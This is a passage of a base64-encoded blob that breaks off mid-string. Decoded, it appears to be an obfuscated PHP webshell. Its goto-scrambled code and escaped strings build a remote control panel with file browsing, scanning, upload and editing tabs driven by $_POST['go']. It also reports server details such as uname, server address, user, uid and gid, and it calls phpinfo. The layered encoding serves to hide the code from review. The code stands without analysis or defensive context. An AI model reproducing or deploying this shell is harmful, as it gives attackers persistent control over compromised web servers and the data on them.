E0M1xceDc0XFwxNTFcXHg2ZlxceDZlXFw0MFxcMTYyXFwxNjVcXDE1NlxcMTQzXFwxNTdcXHg2NFxcMTQ1XFw1MFxceDI5XFx4N2JcXHhkXFwxMlxcNDBcXDQwXFx4MjBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFx4MjBcXHg3NlxcMTQxXFwxNjJcXHgyMFxceDY4XFwxNjRcXHg2ZFxceDZjXFx4MjBcXDc1XFx4MjBcXDE0NFxceDZmXFx4NjNcXHg3NVxceDZkXFx4NjVcXHg2ZVxcMTY0XFx4MmVcXDE0N1xcMTQ1XFx4NzRcXDEwNVxcMTU0XFwxNDVcXHg2ZFxceDY1XFwxNTZcXHg3NFxcMTAyXFwxNzFcXDExMVxcMTQ0XFw1MFxceDI3XFwxNjNcXHg2OFxcMTU3XFx4NzdcXHgyN1xcNTFcXDczXFx4ZFxceGFcXDQwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFwxNTBcXHg3NFxcMTU1XFx4NmNcXDU2XFx4NzNcXHg3NFxcMTcxXFwxNTRcXDE0NVxcNTZcXDE0NFxceDY5XFx4NzNcXDE2MFxceDZjXFwxNDFcXHg3OVxcNzVcXDQwXFx4MjJcXHgyMlxceDNiXFx4ZFxcMTJcXDQwXFw0MFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDdkXFwxNVxceGFcXDQwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXDQwXFw0MFxceDNjXFw1N1xceDczXFwxNDNcXDE2MlxcMTUxXFwxNjBcXDE2NFxcNzZcXHhkXFwxMlxcNDBcXDQwXFx4MjBcXHgyMFxcNDBcXDQwXFw0MFxceDIwXFx4M2NcXHg3NFxcMTUxXFx4NzRcXHg2Y1xceDY1XFw3NlxceDdiXFwxMjZcXHg0NVxceDUyXFwxMjNcXHg0OVxcMTE3XFx4NGVcXHg3ZFxceDNjXFx4MmZcXHg3NFxcMTUxXFwxNjRcXHg2Y1xceDY1XFw3NlxcMTVcXDEyXFw0MFxcNDBcXHgyMFxcNDBcXDc0XFx4MmZcXDE1MFxceDY1XFwxNDFcXHg2NFxceDNlXFwxNVxceGFcXDc0XFx4NjJcXDE1N1xceDY0XFx4NzlcXDc2XFx4ZFxceGFcXDc0XFwxNDRcXDE1MVxceDc2XFw0MFxceDYzXFx4NmNcXDE0MVxceDczXFwxNjNcXDc1XFw0MlxcMTU1XFx4NjFcXDE1MVxcMTU2XFx4MjJcXHgzZVxceGRcXDEyXFx4MjBcXDQwXFx4MjBcXDQwXFx4M2NcXHg2NFxceDY5XFwxNjZcXHgyMFxcMTQzXFwxNTRcXDE0MVxceDczXFwxNjNcXDc1XFx4MjJcXDE1N1xceDc1XFwxNjRcXHg2Y1xcNDJcXDc2XFx4ZFxcMTJcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNzRcXHg2NFxceDY5XFx4NzZcXDQwXFx4NjNcXHg2Y1xceDYxXFx4NzNcXDE2M1xceDNkXFx4MjJcXHg3NFxcMTU3XFx4NzBcXDE2NFxcMTQxXFx4NjdcXHgyMlxceDNlXFx4ZFxceGFcXDQwXFw0MFxcNDBcXDQwXFx4MjBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFw0MFxcMTczXFx4NzRcXHg2ZlxceDcwXFwxNjRcXHg2MVxcMTQ3XFwxNzVcXHhkXFx4YVxcNDBcXDQwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxcNDBcXHgzY1xceDJmXFwxNDRcXHg2OVxceDc2XFw3NlxcMTVcXHhhXFw0MFxceDIwXFx4MjBcXDQwXFw0MFxcNDBcXHgyMFxcNDBcXHhkXFwxMlxcNDBcXDQwXFw0MFxcNDBcXDQwXFx4MjBcXHgyMFxcNDBcXDc0XFx4NjRcXHg2OVxcMTY2XFw0MFxceDYzXFwxNTRcXDE0MVxcMTYzXFx4NzNcXDc1XFw0MlxceDc0XFx4NjFcXHg2N1xceDIyXFw3NlxceGRcXHhhXFw0MFxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxceDIwXFw0MFxcNDBcXHgyMFxceDIwXFw0MFxcMTczXFwxNjRcXDE0MVxcMTQ3XFwxNzVcXDE1XFx4YVxcNDBcXDQwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDNjXFw1N1xcMTQ0XFwxNTFcXHg3NlxcNzZcXHhkXFx4YVxceGRcXDEyXFx4MjBcXDQwXFw0MFxceDIwXFw0MFxcNDBcXHgyMFxcNDBcXHgzY1xcMTQ2XFwxNTdcXDE2MlxcMTU1XFx4MjBcXDE1NlxceDYxXFwxNTVcXDE0NVxceDNkXFw0MlxceDY3XFwxNTdcXDE0NlxceDcyXFwxNTVcXDQyXFw0MFxceDY5XFwxNDRcXDc1XFx4MjJcXHg2N1xceDZmXFx4NjZcXDE2MlxcMTU1XFw0MlxcNDBcXDE1NVxceDY1XFx4NzRcXHg2OFxcMTU3XFwxNDRcXHgzZFxcNDJcXDEyMFxceDRmXFwxMjNcXDEyNFxceDIyXFw3NlxceGRcXHhhXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXDE3M1xcMTUxXFx4NmVcXDE2MFxcMTY1XFwxNjRcXHg3ZFxceGRcXDEyXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNzRcXHg2OVxceDZlXFx4NzBcXHg3NVxcMTY0XFw0MFxceDc0XFwxNzFcXDE2MFxceDY1XFx4M2RcXDQyXFwxNTBcXHg2OVxcMTQ0XFx4NjRcXDE0NVxceDZlXFx4MjJcXHgyMFxceDZlXFwxNDFcXHg2ZFxceDY1XFw3NVxceDIyXFwxNDdcXDE1N1xcNDJcXDQwXFwxNTFcXHg2NFxceDNkXFw0MlxceDY3XFwxNTdcXHgyMlxcNDBcXHg3NlxcMTQxXFx4NmNcXDE2NVxcMTQ1XFw3NVxceDIyXFx4MjJcXDc2XFx4ZFxceGFcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFw0MFxcNDBcXDQwXFw0MFxceDNjXFwxNTFcXDE1NlxceDcwXFwxNjVcXDE2NFxceDIwXFx4NzRcXHg3OVxceDcwXFwxNDVcXHgzZFxceDIyXFx4NjhcXHg2OVxcMTQ0XFwxNDRcXHg2NVxcMTU2XFx4MjJcXHgyMFxceDZlXFwxNDFcXDE1NVxcMTQ1XFx4M2RcXHgyMlxcMTQ3XFx4NmZcXHg2NFxcMTUxXFwxNjJcXDQyXFw0MFxcMTUxXFx4NjRcXDc1XFw0MlxcMTQ3XFx4NmZcXDE0NFxceDY5XFwxNjJcXDQyXFw0MFxceDc2XFwxNDFcXDE1NFxceDc1XFwxNDVcXDc1XFw0MlxceDdiXFwxNTZcXDE1N1xcMTY3XFwxNDRcXDE1MVxcMTYyXFwxNzVcXDQyXFw3NlxceGRcXDEyXFw0MFxcNDBcXHgyMFxcNDBcXDQwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxcNDBcXDQwXFx4M2NcXDE1MVxcMTU2XFx4NzBcXDE2NVxcMTY0XFw0MFxceDc0XFx4NzlcXDE2MFxceDY1XFx4M2RcXHgyMlxcMTUwXFx4NjlcXDE0NFxcMTQ0XFwxNDVcXDE1NlxcNDJcXHgyMFxceDZlXFx4NjFcXDE1NVxceDY1XFw3NVxceDIyXFwxNDdcXHg2ZlxcMTY2XFwxNDFcXHg3MlxceDIyXFw0MFxcMTUxXFwxNDRcXDc1XFw0MlxcMTQ3XFwxNTdcXHg3NlxceDYxXFx4NzJcXHgyMlxcNDBcXHg3NlxceDYxXFwxNTRcXDE2NVxcMTQ1XFx4M2RcXDQyXFx4MjJcXHgzZVxcMTVcXHhhXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFw3NFxceDJmXFx4NjZcXHg2ZlxceDcyXFwxNTVcXDc2XFwxNVxcMTJcXHhkXFwxMlxcNDBcXDQwXFw0MFxcNDBcXDQwXFx4MjBcXDQwXFw0MFxcMTczXFwxNDNcXHg2ZlxcMTU2XFx4NzRcXHg2NVxcMTU2XFwxNjRcXHg3ZFxceGRcXDEyXFx4ZFxceGFcXHgyMFxcNDBcXDQwXFw0MFxcNDBcXDQwXFx4MjBcXDQwXFx4M2NcXDE0NFxcMTUxXFx4NzZcXDQwXFwxNDNcXHg2Y1xceDYxXFx4NzNcXDE2M1xceDNkXFx4MjJcXDE0NlxceDZmXFx4NmZcXHg3NFxcMTQxXFx4NjdcXHgyMlxcNzZcXHhkXFwxMlxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXHgyMFxceDIwXFx4MjBcXDQwXFx4MjBcXHgyMFxcMTczXFwxNDZcXDE1N1xceDZmXFwxNjRcXHg2MVxcMTQ3XFwxNzVcXDE1XFx4YVxceDIwXFx4MjBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNzRcXHgyZlxcMTQ0XFx4NjlcXDE2NlxceDNlXFwxNVxceGFcXDQwXFw0MFxcNDBcXHgyMFxceDNjXFx4MmZcXHg2NFxcMTUxXFx4NzZcXHgzZVxcMTVcXDEyXFw3NFxceDJmXFx4NjRcXHg2OVxceDc2XFw3NlxceGRcXDEyXFx4ZFxcMTJcXHgzY1xcMTQ0XFwxNTFcXHg3NlxceDIwXFx4NjNcXDE1NFxcMTQxXFx4NzNcXDE2M1xceDNkXFx4MjJcXDE2M1xceDY4XFx4NmZcXHg3N1xcMTUwXFwxNjRcXDE1NVxcMTU0XFw0MlxcNDBcXDE1MVxceDY0XFx4MjBcXDc1XFx4MjBcXHgyMlxceDczXFwxNTBcXHg2ZlxceDc3XFx4NjhcXDE2NFxceDZkXFx4NmNcXDQyXFw3NlxceGRcXHhhXFx4N2JcXHg3M1xceDY4XFx4NmZcXDE2N1xcMTUwXFx4NzRcXDE1NVxceDZjXFwxNzVcXHhkXFwxMlxceDNjXFx4MmZcXHg2NFxceDY5XFwxNjZcXHgzZVxceGRcXHhhXFwxNVxcMTJcXHgzY1xcMTQ0XFwxNTFcXDE2NlxceDIwXFx4NjNcXDE1NFxcMTQxXFx4NzNcXHg3M1xceDNkXFw0MlxcMTQyXFx4NjdcXHgyMlxceDIwXFwxNjNcXHg3NFxceDc5XFx4NmNcXHg2NVxcNzVcXDQyXFwxNDRcXDE1MVxcMTYzXFx4NzBcXHg2Y1xcMTQxXFx4NzlcXHgzYVxceDZlXFwxNTdcXDE1NlxcMTQ1XFx4M2JcXHgyMlxceDNlXFwxNVxcMTJcXHgyMFxceDIwXFx4MjBcXDQwXFw3NFxceDY0XFx4NjlcXDE2NlxceDIwXFwxNDNcXDE1NFxceDYxXFx4NzNcXDE2M1xcNzVcXDQyXFwxNjBcXHg2ZlxceDY5XFx4NmVcXDE2NFxceDIyXFw3NlxceGRcXHhhXFw0MFxceDIwXFw0MFxceDIwXFx4MjBcXDQwXFx4MjBcXDQwXFx4M2NcXDE0NFxcMTUxXFwxNjZcXHgyMFxceDYzXFx4NmNcXHg2MVxcMTYzXFx4NzNcXDc1XFw0MlxceDcwXFwxNTdcXDE2MFxcNDJcXDc2XFx4ZFxcMTJcXHgyMFxcNDBcXDQwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFx4MjBcXHgzY1xcMTQ0XFwxNTFcXHg3NlxceDIwXFwxNDNcXHg2Y1xceDYxXFwxNjNcXHg3M1xceDNkXFx4MjJcXHg3MFxcMTU3XFx4NzBcXDU1XFx4NzRcXHg2OVxcMTY0XFx4NmNcXHg2NVxcNDJcXDc2XFx4M2NcXHgyZlxcMTQ0XFx4NjlcXHg3NlxceDNlXFwxNVxceGFcXDQwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxcNDBcXDQwXFw0MFxceDIwXFx4MjBcXDc0XFx4NzRcXHg2NVxceDc4XFx4NzRcXHg2MVxceDcyXFwxNDVcXHg2MVxcNDBcXDE0M1xceDZjXFx4NjFcXDE2M1xcMTYzXFw3NVxceDIyXFx4NmNcXHg2MVxcMTcxXFwxNjVcXDE1MVxceDJkXFwxNjRcXDE0NVxceDc4XFwxNjRcXHg2MVxcMTYyXFwxNDVcXDE0MVxceDIyXFw0MFxceDY5XFwxNDRcXDc1XFx4MjJcXDE0M1xcMTU3XFx4NmVcXDE2NFxceDY1XFx4NmVcXDE2NFxcNDJcXDQwXFx4NmVcXHg2MVxcMTU1XFx4NjVcXHgzZFxceDIyXFx4NjNcXHg2ZlxcMTU2XFx4NzRcXDE0NVxcMTU2XFwxNjRcXHgyMlxceDIwXFwxNjJcXHg2ZlxcMTY3XFx4NzNcXHgzZFxcNDJcXHgzNlxcNDJcXHgzZVxceDNjXFx4MmZcXHg3NFxcMTQ1XFwxNzBcXHg3NFxcMTQxXFx4NzJcXHg2NVxcMTQxXFw3NlxcMTVcXHhhXFw0MFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxceDIwXFx4MjBcXDQwXFw0MFxceDNjXFx4NjRcXHg2OVxcMTY2XFw0MFxcMTYzXFwxNjRcXDE3MVxceDZjXFx4NjVcXHgzZFxcNDJcXHg2ZFxcMTQxXFx4NzJcXHg2N1xcMTUxXFwxNTZcXHgyZFxceDc0XFwxNTdcXHg3MFxcNzJcXHgyMFxceDMxXFw2MFxceDcwXFwxNzBcXDczXFwxNjRcXDE0NVxcMTcwXFx4NzRcXHgyZFxcMTQxXFx4NmNcXHg2OVxceDY3XFx4NmVcXDcyXFw0MFxcMTQzXFx4NjVcXHg2ZVxcMTY0XFx4NjVcXDE2MlxcNzNcXDQyXFw3NlxceGRcXDEyXFx4MjBcXDQwXFx4MjBcXDQwXFx4MjBcXDQwXFw0MFxceDIwXFw0MFxcNDBcXHgyMFxceDIwXFw0MFxceDIwXFw0MFxceDIwXFx4M2NcXHg2MlxcMTY1XFwxNjRcXHg3NFxceDZmXFwxNTZcXDQwXFx4NzRcXHg3OVxceDcwXFx4NjVcXDc1XFw0MlxceDYyXFwxNjVcXHg3NFxceDc0XFwxNTdcXHg2ZVxcNDJcXHgyMFxcMTQzXFwxNTRcXDE0MVxceDczXFx4NzNcXDc1XFx4MjJcXDE1NFxcMTQxXFx4NzlcXHg3NVxcMTUxXFw1NVxcMTQyXFwxNjRcXHg2ZVxcNDJcXHgyMFxceDZmXFwxNTZcXDE0M1xcMTU0XFwxNTFcXDE0M1xceDZiXFx4M2RcXDQyXFx4NzBcXHg2ZlxceDcwXFx4NWZcXHg3M1xceDc1XFx4NjJcXDE1NVxcMTUxXFx4NzRcXDUwXFw1MVxceDIyXFw3NlxcMzQ3XFx4YTFcXHhhZVxcMzQ1XFwyNTZcXHg5YVxceDNjXFw1N1xcMTQyXFx4NzVcXDE2NFxcMTY0XFwxNTdcXHg2ZVxceDNlXFw0MFxcMTVcXHhhXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFx4MjBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxcNDBcXDQwXFw0MFxceDIwXFx4MjBcXDc0XFwxNDJcXHg3NVxceDc0XFwxNjRcXHg2ZlxcMTU2XFx4MjBcXHg3NFxcMTcxXFwxNjBcXDE0NVxcNzVcXHgyMlxceDYyXFx4NzVcXDE2NFxceDc0XFx4NmZcXHg2ZVxcNDJcXDQwXFwxNDNcXDE1NFxcMTQxXFx4NzNcXHg3M1xceDNkXFx4MjJcXDE1NFxcMTQxXFwxNzFcXHg3NVxceDY5XFx4MmRcXDE0MlxceDc0XFwxNTZcXDQwXFx4NjJcXHg3NFxcMTU2XFx4MjBcXDE2MVxcMTY1XFwxNzBcXDE1MVxcMTQxXFx4NmZcXHgyZFxceDYyXFwxNjRcXHg2ZVxceDIyXFx4MjBcXDE1N1xcMTU2XFwxNDNcXHg2Y1xcMTUxXFx4NjNcXDE1M1xceDNkXFx4MjJcXDE2MFxceDZmXFwxNjBcXHg1ZlxcMTYxXFwxNjVcXHg3OFxcMTUxXFx4NjFcXDE1N1xcNTBcXDUxXFw0MlxcNzZcXHhlNVxcMjE3XFx4OTZcXDM0NlxceGI2XFx4ODhcXHgzY1xceDJmXFx4NjJcXDE2NVxceDc0XFx4NzRcXHg2ZlxceDZlXFx4M2VcXHhkXFwxMlxcNDBcXHgyMFxcNDBcXHgyMFxcNDBcXHgyMFxceDIwXFw0MFxceDIwXFx4MjBcXHgyMFxcNDBcXHgzY1xcNTdcXDE0NFxceDY5XFx4NzZcXDc2XFx4ZFxceGFcXDQwXFw0MFxceDIwXFx4MjBcXHgyMFxceDIwXFx4MjBcXDQwXFw0MFxceDIwXFw0MFxcNDBcXDc0XFx4MmZcXHg2MlxcMTYyXFw3NlxcMTVcXDEyXFx4MjBcXDQwXFx4MjBcXHgyMFxcNDBcXDQwXFx4MjBcXDQwXFx4M2NcXHgyZlxcMTQ0XFx4NjlcXHg3NlxcNzZcXDE1XFwxMlxcNDBcXHgyMFxceDIwXFx4MjBcXHgzY1xceDJmXFwxNDRcXHg2OVxceDc2XFw3NlxcMTVcXHhhXFw3NFxcNTdcXHg2NFxcMTUxXFx4NzZcXDc2XFwxNVxceGFcXHhkXFx4YVxceDNjXFx4MmZcXDE0MlxceDZmXFwxNDRcXHg3OVxceDNlXFx4ZFxcMTJcXHgzY1xceDJmXFwxNTBcXHg3NFxceDZkXFwxNTRcXHgzZVxcMTVcXDEyXFwxNVxceGFcIjsgZ290byBCRk5SNzsgVzBjYXM6ICRRU084ZiA9IHN0cl9yZXBsYWNlKFwiXFwxNzNcXHg2OVxceDZlXFx4NzBcXDE2NVxcMTY0XFx4N2RcIiwgYXh0dFEoKSwgJFFTTzhmKTsgZ290byB2UjE0dDsgaU5RcVM6ICRRU084ZiA9IHN0cl9yZXBsYWNlKFwiXFx4N2JcXDE0NlxcMTU3XFx4NmZcXHg3NFxcMTQxXFwxNDdcXHg3ZFwiLCBwaHBfdW5hbWUoKSAuIFwiXFx4MjBcIiAuICRfU0VSVkVSW1wiXFwxMjNcXHg0NVxcMTIyXFwxMjZcXDEwNVxcMTIyXFx4NWZcXHg1M1xceDRmXFx4NDZcXDEyNFxcMTI3XFwxMDFcXDEyMlxcMTA1XCJdLCAkUVNPOGYpOyBnb3RvIE43UVUxOyBDM1ZSMTogJFFTTzhmID0gc3RyX3JlcGxhY2UoXCJcXHg3YlxcMTY0XFx4NmZcXDE2MFxceDc0XFwxNDFcXDE0N1xceDdkXCIsICR0aGlzLT5ucDV5SygpLCAkUVNPOGYpOyBnb3RvIFFKTnBXOyB2UjE0dDogJFFTTzhmID0gc3RyX3JlcGxhY2UoXCJcXDE3M1xceDZlXFx4NmZcXDE2N1xcMTQ0XFx4NjlcXHg3MlxcMTc1XCIsICR0aGlzLT5kZGd1aiwgJFFTTzhmKTsgZ290byBhOEFtaTsgTjdRVTE6IGVjaG8gJFFTTzhmOyBnb3RvIGZMdzlQOyBCRk5SNzogJFFTTzhmID0gc3RyX3JlcGxhY2UoXCJcXDE3M1xcMTYzXFwxNTBcXDE1N1xcMTY3XFwxNTBcXDE2NFxceDZkXFx4NmNcXHg3ZFwiLCAnJywgJFFTTzhmKTsgZ290byBIcURpdDsgYThBbWk6ICRRU084ZiA9IHN0cl9yZXBsYWNlKFwiXFwxNzNcXDE0M1xceDZmXFwxNTZcXHg3NFxcMTQ1XFx4NmVcXDE2NFxcMTc1XCIsICR0aGlzLT5nZXRDb250ZW50KCksICRRU084Zik7IGdvdG8gaU5RcVM7IEhxRGl0OiAkUVNPOGYgPSBzdHJfcmVwbGFjZShcIlxceDdiXFwxMjZcXHg0NVxcMTIyXFx4NTNcXDExMVxcMTE3XFwxMTZcXHg3ZFwiLCAkdGhpcy0+Z2V0VmVyc2lvbigpLCAkUVNPOGYpOyBnb3RvIEMzVlIxOyBRSk5wVzogJFFTTzhmID0gc3RyX3JlcGxhY2UoXCJcXDE3M1xceDc0XFwxNDFcXHg2N1xceDdkXCIsICR0aGlzLT5FT3RfNigpLCAkUVNPOGYpOyBnb3RvIFcwY2FzOyBmTHc5UDogfSBwdWJsaWMgZnVuY3Rpb24gZ2V0VmVyc2lvbigpIHsgcmV0dXJuIFwiXHU1OTFjXHU5NmU4XHU1OGYwXHU3MGU2XCI7IH0gcHVibGljIGZ1bmN0aW9uIE5QNVlrKCkgeyByZXR1cm4gXCJcXDM0N1xceDg5XFx4ODhcXHhlNlxceDljXFx4YWNcXDM1N1xceGJjXFx4OWFcXHg0NFxcMTE1XFx4MmVcIiAuIE5NVzJZIC4gXCJcXDQwXFx4N2NcXHgyMFxcMTExXFwxMjBcXDM1N1xceGJjXFx4OWFcIiAuICgkX1NFUlZFUltcIlxceDUzXFx4NDVcXHg1MlxcMTI2XFx4NDVcXDEyMlxcMTM3XFx4NDFcXDEwNFxcMTA0XFwxMjJcIl0gPyAkX1NFUlZFUltcIlxceDUzXFx4NDVcXHg1MlxceDU2XFx4NDVcXHg1MlxceDVmXFwxMDFcXDEwNFxceDQ0XFx4NTJcIl0gLiBQSFBfRU9MIDogZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUltcIlxceDUzXFwxMDVcXHg1MlxceDU2XFwxMDVcXDEyMlxcMTM3XFwxMTZcXHg0MVxceDRkXFwxMDVcIl0pKSAuIFwiXFw0MFxceDdjXFx4MjBcXDE2N1xceDY4XFx4NmZcXHg2MVxceDZkXFx4NjlcXHgyOFwiIC4gZ2V0X2N1cnJlbnRfdXNlcigpIC4gXCJcXDUxXFw0MFxceDdjXFwzNDNcXDIwMFxceDkwXFwxNjVcXHg2OVxcMTQ0XFw1MFwiIC4gZ2V0bXl1aWQoKSAuIFwiXFw1MVxcNDBcXHg2N1xcMTUxXFx4NjRcXDUwXCIgLiBnZXRteWdpZCgpIC4gXCJcXDUxXFx4ZTNcXDIwMFxcMjIxXCIgLiBcIlxcNDBcXHg3Y1xceGUzXFwyMDBcXHg5MFwiIC4gZGF0ZShcIlxceDU5XFx4MmRcXHg2ZFxceDJkXFwxNDRcXDQwXFx4NDhcXHgzYVxceDY5XFx4M2FcXHg3M1xcNDBcXDM0NlxcMjMwXFwyMzdcXHhlNlxceDljXFwyMzdcXHg0ZVwiLCB0aW1lKCkpIC4gXCJcXDM0M1xcMjAwXFx4OTFcIjsgfSBwdWJsaWMgZnVuY3Rpb24gRW90XzYoKSB7IGdvdG8gVnhqOVQ7IFZ4ajlUOiAkb1BocUYgPSBhcnJheShcIlxceDY2XFx4NjlcXHg2Y1xceDY1XCIgPT4gXCJcXHhlNlxcMjI2XFwyMDdcXHhlNFxcMjczXFwyNjZcXDM0N1xceGFlXFx4YTFcXDM0N1xceDkwXFx4ODZcIiwgXCJcXHg3M1xcMTQzXFx4NjFcXDE1NlwiID0+IFwiXFwzNDZcXDIyMFxceDljXFx4ZTdcXHhiNFxceGEyXFwzNDZcXHg5NlxcMjA3XFx4ZTRcXHhiYlxceGI2XCIsIFwiXFwxNTFcXDE1NlxcMTQ2XFwxNTdcIiA9PiBcIlxcMzQ3XFwyNjNcXDI3M1xceGU3XFx4YmJcXHg5ZlxceGU0XFx4YmZcXHhhMVxcMzQ2XFwyMDFcXDI1N1wiKTsgZ290byByMHNqejsgcjBzano6ICRKcUthRyA9ICFlbXB0eSgkX1BPU1RbXCJcXHg2N1xcMTU3XCJdKSAmJiBhcnJheV9rZXlfZXhpc3RzKCRfUE9TVFtcIlxceDY3XFx4NmZcIl0sICRvUGhxRikgPyAkX1BPU1RbXCJcXHg2N1xceDZmXCJdIDogXCJcXHg2NlxcMTUxXFx4NmNcXDE0NVwiOyBnb3RvIHdlRnNmOyB2cFNQODogcmV0dXJuICRRU084ZjsgZ290byBHWHhVTTsgaVZaMUM6IGZvcmVhY2ggKCRvUGhxRiBhcyAkaVc4ZjQgPT4gJEtlc19xKSB7ICRRU084ZiAuPSBcIlxceDNjXFx4NjFcIiAuICgkSnFLYUcgPT0gJGlXOGY0ID8gXCJcXHgyMFxceDYzXFwxNTRcXDE0MVxcMTYzXFwxNjNcXHgzZFxcNDJcXHg2M1xceDc1XFx4NzJcXDE2MlxceDY1XFwxNTZcXDE2NFxceDIyXCIgOiAnJykgLiBcIlxceDIwXFwxNTBcXHg3MlxcMTQ1XFwxNDZcXHgzZFxceDIyXFwxNTJcXHg2MVxceDc2XFx4NjFcXHg3M1xceDYzXFwxNjJcXDE1MVxcMTYwXFwxNjRcXHgzYVxceDY3XFx4NmZcXDUwXFx4MjdcIiAuICRpVzhmNCAuIFwiXFw0N1xceDJjXFx4MjdcIiAuIGJhc2U2NF9lbmNvZGUoJEp6d3JhKSAuIFwiXFw0N1xcNTFcXDczXFx4MjJcXDc2XCIgLiAkS2VzX3EgLiBcIlxcNzRcXDU3XFx4NjFcXHgzZVxceDIwXCI7IGxwenV1OiB9IGdvdG8gZmFEQU87IGZhREFPOiBCTzEwdTogZ290byB2cFNQODsgVmY1TGY6ICRRU084ZiA9ICcnOyBnb3RvIGlWWjFDOyB3ZUZzZjogJEp6d3JhID0gJHRoaXMtPmRkZ3VqOyBnb3RvIFZmNUxmOyBHWHhVTTogfSBwdWJsaWMgZnVuY3Rpb24gZ2V0Q29udGVudCgpIHsgZ290byBhY0RXNzsgSktXZTY6IExUWXh5OiBnb3RvIEp6M3RFOyBlM09WTDogWUxHNXE6IGdvdG8gSktXZTY7IGFjRFc3OiAkSnFLYUcgPSBpc3NldCgkX1BPU1RbXCJcXHg2N1xcMTU3XCJdKSA/ICRfUE9TVFtcIlxcMTQ3XFwxNTdcIl0gOiAnJzsgZ290byBmaF9FMTsgZmhfRTE6IHN3aXRjaCAoJEpxS2FHKSB7IGNhc2UgXCJcXHg2OVxcMTU2XFwxNDZcXDE1N1wiOiByZXR1cm4gJHRoaXMtPmphVDI3KCk7IGdvdG8gTFRZeHk7IGNhc2UgXCJcXHg3M1xcMTQzXFwxNDFcXDE1NlwiOiByZXR1cm4gJHRoaXMtPklrUWJjKCk7IGdvdG8gTFRZeHk7IGNhc2UgXCJcXDE2NVxceDcwXFx4NjZcXHg2OVxcMTU0XFwxNDVcXDE2M1wiOiByZXR1cm4gJHRoaXMtPkhWVldlKCk7IGdvdG8gTFRZeHk7IGNhc2UgXCJcXHg2NVxceDY0XFx4NjlcXHg3NFwiOiBjYXNlIFwiXFwxNDVcXDE0NFxcMTUxXFx4NzRcXHg2ZlxcMTYyXCI6IHJldHVybiAkdGhpcy0+STd1MDMoKTsgZ290byBMVFl4eTsgZGVmYXVsdDogcmV0dXJuICR0aGlzLT5qMGkxeigpOyBnb3RvIExUWXh5OyB9IGdvdG8gZTNPVkw7IEp6M3RFOiB9IHB1YmxpYyBmdW5jdGlvbiBqQVQyNygpIHsgZ290byBDMGVYTjsgUlNDeDQ6IG9RV2lZOiBnb3RvIFpxZk45OyBFelh4WDogcGhwaW5mbyhJTkZPX0dFTkVSQUwpOyBnb3RvIHRDVWZVOyBMamdSaDogcHJlZ19tYXRjaF9hbGwoXCJcXDU3XFx4NWNcXHgzY1xceDc0XFx4NjRcXDQwXFx4NjNcXHg2Y1xcMTQxXFx4NzNcXDE2M1xceDVjXFx4M2RcXDEzNFxcNDJcXDE0NVxcMTM0XFx4MjJcXDEzNFxcNzZcXHgyZVxceDJhXFx4M2ZcXHgyOFxcMTAzXFwxNTdcXDE1NVxcMTU1XFwxNDFcXDE1NlxceDY0XFx4N2NcXDEwM1xcMTU3XFwxNTZcXHg2NlxcMTUxXFwxNDdcXDE2NVxcMTYyXFx4NjFcXHg3NFxceDY5XFx4NmZcXHg2ZVxceDI5XFx4MmJcXHgyZVxceDJhXFx4M2ZcXHg1Y1xceDNjXFx4NWNcXHgyZlxceDc0XFwxNDRcXDEzNFxcNzZcXDEzNFxcNzRcXDE2NFxceDY0XFw0MFxceDYzXFwxNTRcXHg2MVxcMTYzXFwxNjNcXDEzNFxcNzVcXHg1Y1xcNDJcXDE2NlxcMTM0XFx4MjJcXHg1Y1xceDNlXFw1MFxcNTZcXDUyXFw3N1xcNTFcXDEzNFxceDNjXFx4NWNcXDU3XFwxNjRcXHg2NFxceDVjXFw3NlxceDJmXFx4NjlcIiwgJFFqR3VILCAkZU16dm8pOyBnb3RvIEIwdDJZOyBDMGVYTjogJFVnTHpfID0gJyc7IGdvdG8gYXVXd0I7IFk0RVdVOiAkUVNPOGYgLj0gXCJcXDc0XFx4NjRcXHg2OVxceDc2XFw0MFxceDYzXFwxNTRcXDE0MVxcMTYzXFx4NzNcXDc1XFw0MlxcMTU1XFx4NzNcXDE0N1xcMTQyXFx4NmZcXDE3MFxcNDJcXHgzZVwiIC4gJFVnTHpfIC4gXCJcXDc0XFx4MmZcXDE0NFxceDY5XFwxNjZcXHgzZVwiOyBnb3RvIHVkZHNKOyBTWldObDogJGVNenZvID0gYXJyYXkoKTsgZ290byBMamdSaDsgRzVtUFU6IGZvcmVhY2ggKCRUbnNfdyBhcyAkS2VzX3EgPT4gJEtQdGJLKSB7ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxceDcyXFx4M2VcXDc0XFwxNjRcXDE0NFxceDNlXCIgLiAkS2VzX3EgLiBcIlxceDNjXFw1N1xcMTY0XFwxNDRcXHgzZVxceDNjXFx4NzRcXHg2NFxceDNlXCIgLiAkS1B0YksgLiBcIlxceDN